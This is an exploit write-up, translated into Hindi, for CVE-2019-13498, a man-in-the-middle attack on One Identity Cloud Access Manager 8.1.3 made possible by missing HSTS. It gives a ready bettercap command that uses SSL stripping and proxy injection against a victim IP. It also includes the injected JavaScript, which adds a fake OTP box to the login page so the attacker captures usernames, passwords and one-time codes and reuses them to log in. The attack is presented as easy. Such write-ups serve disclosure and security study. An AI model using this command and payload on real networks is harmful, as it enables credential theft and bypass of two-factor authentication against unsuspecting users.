CVE-2019-13498

शोषण शीर्षक: MITM - HSTS की अनुपस्थिति के कारण क्रेडेंशियल चोरी और सामग्री हेरफेर
दिनांक: 07/10/2019
शोषण लेखक: Furqan Khan
विक्रेता होमपेज: https://www.oneidentity.com/
सॉफ्टवेयर लिंक: https://www.oneidentity.com/products/cloud-access-manager/
संस्करण: 8.1.3
परीक्षण किया गया: Kali Linux , Windows 7 ,Ubantu 16.04

MITM हमला करने और उपयोगकर्ता नाम, पासवर्ड और OTP चुराने के लिए, हम bettercap 1.6 का उपयोग करते हैं। आदर्श रूप से, OTP बॉक्स एप्लिकेशन के दूसरे पेज पर भरा जाता है, जब उपयोगकर्ता वैध उपयोगकर्ता नाम और पासवर्ड के साथ सफलतापूर्वक प्रमाणित होता है। हालाँकि, हम SSL स्ट्रिप और सामग्री हेरफेर का उपयोग करके उसी पेज पर OTP टेक्स्ट बॉक्स इंजेक्ट करते हैं जहाँ उपयोगकर्ता नाम और पासवर्ड मांगे जाते हैं। पीड़ित सोच सकता है कि यह बदलाव एप्लिकेशन से आया है, और वह उपयोगकर्ता नाम, पासवर्ड और OTP साझा करके फॉर्म सबमिट कर देगा। हमलावर, जिसने bettercap और प्रॉक्सी सेट किया है, क्रेडेंशियल और OTP प्राप्त करेगा, और उसी का उपयोग करके एप्लिकेशन में लॉगिन करेगा।

उपयोग किया गया bettercap कमांड है :

bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

यहाँ 192.168.1.103 पीड़ित का आईपी पता है। यदि हम इसे नहीं जानते हैं, तो हम bettercap का उपयोग करके पूरे LAN (हमलावर और पीड़ित के सामान्य नेटवर्क) की सामग्री को सूँघ और हेरफेर कर सकते हैं।

inject_js.js की सामग्री नीचे दी गई है

<script>
 
function replace_payload()
{  


     var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password"  id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';

     var text_div=$(".m-b-20");

     text_div.append(append_str);

    }

    function control(){setTimeout(replace_payload,2000);} control();
    
</script>

अब जब पीड़ित उत्पाद (Cloud access manager) को ब्राउज़ करेगा, तो कैश पॉइज़निंग और SSL स्ट्रिप (Bettercap) के कारण, इंजेक्ट किए गए जावास्क्रिप्ट स्निपेट के माध्यम से पीड़ित को परोसे गए पेज में एक OTP टेक्स्ट बॉक्स इंजेक्ट किया जाएगा

चूंकि कनेक्शन ssl-strip के माध्यम से http में डाउनग्रेड हो जाता है, अब सभी ट्रैफ़िक हमलावर को दिखाई देगा। इस प्रकार हम ट्रैफ़िक को इंटरसेप्ट कर सकते हैं, और पीड़ित द्वारा सबमिट किए गए उपयोगकर्ता नाम, पासवर्ड और OTP देख सकते हैं।

बिंगो! यह आसान था!